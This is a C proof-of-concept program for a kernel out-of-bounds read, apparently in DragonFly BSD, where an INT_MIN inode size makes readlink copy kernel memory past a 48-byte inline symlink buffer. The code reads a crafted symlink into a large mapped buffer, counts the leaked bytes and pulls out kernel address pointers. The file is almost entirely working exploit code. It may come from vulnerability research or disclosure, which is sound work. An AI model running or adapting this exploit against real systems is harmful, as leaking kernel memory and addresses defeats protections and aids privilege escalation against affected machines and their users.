/*
 * DF-0778 Mode B variant — demonstrate the OOB-read ceiling for the
 * INT_MIN case (di_size = 0x80000000). The truncated int isize becomes
 * negative, sign-extends to ~2^63 as a size_t, and uiomove copies that
 * many bytes from i_shortlink into the user buffer until either the user
 * buffer ends or uiomove hits an unmapped kernel page (-> EFAULT).
 *
 * We mmap a big chunk and readlink into it, then count how many bytes
 * were actually copied and how many look like kernel pointers.
 */
#include <sys/param.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int
main(int argc, char **argv)
{
	const char *path = (argc > 1) ? argv[1] : "/mnt/test/mylink";
	size_t bufsz = (argc > 2) ? (size_t)strtoull(argv[2], NULL, 0)
	                          : (1u << 24);	/* 16 MB default */
	char *buf = mmap(NULL, bufsz, PROT_READ|PROT_WRITE,
	    MAP_ANON|MAP_PRIVATE, -1, 0);
	if (buf == MAP_FAILED) {
		fprintf(stderr, "mmap %zu: %s\n", bufsz, strerror(errno));
		return 2;
	}
	memset(buf, 0x5a, bufsz);

	ssize_t n = readlink(path, buf, bufsz);
	int saved = errno;
	printf("readlink(bufsz=%zu) = %zd", bufsz, n);
	if (n < 0) printf("  errno=%d (%s)", saved, strerror(saved));
	printf("\n");

	if (n <= 0) { munmap(buf, bufsz); return n < 0 ? 1 : 0; }

	/* Count kernel pointers (0xffff8000_00000000+ KVA on x86_64 DFly) */
	unsigned long leaked_ptrs = 0;
	size_t scan = (size_t)n;
	for (size_t i = 48; i + 7 < scan; i += 8) {
		unsigned long long v;
		memcpy(&v, buf + i, 8);
		if ((v & 0xffff000000000000ULL) == 0xffff000000000000ULL)
			leaked_ptrs++;
	}
	printf("OOB bytes leaked (past 48-byte i_shortlink): %zu\n",
	    scan > 48 ? scan - 48 : 0);
	printf("kernel KVA pointers among them: %lu\n", leaked_ptrs);
	/* Show first / last leaked KVA */
	for (size_t i = 48; i + 7 < scan; i += 8) {
		unsigned long long v;
		memcpy(&v, buf + i, 8);
		if ((v & 0xffff000000000000ULL) == 0xffff000000000000ULL) {
			printf("first leaked KVA @ +%zu: 0x%016llx\n", i, v);
			break;
		}
	}
	munmap(buf, bufsz);
	return 0;
}
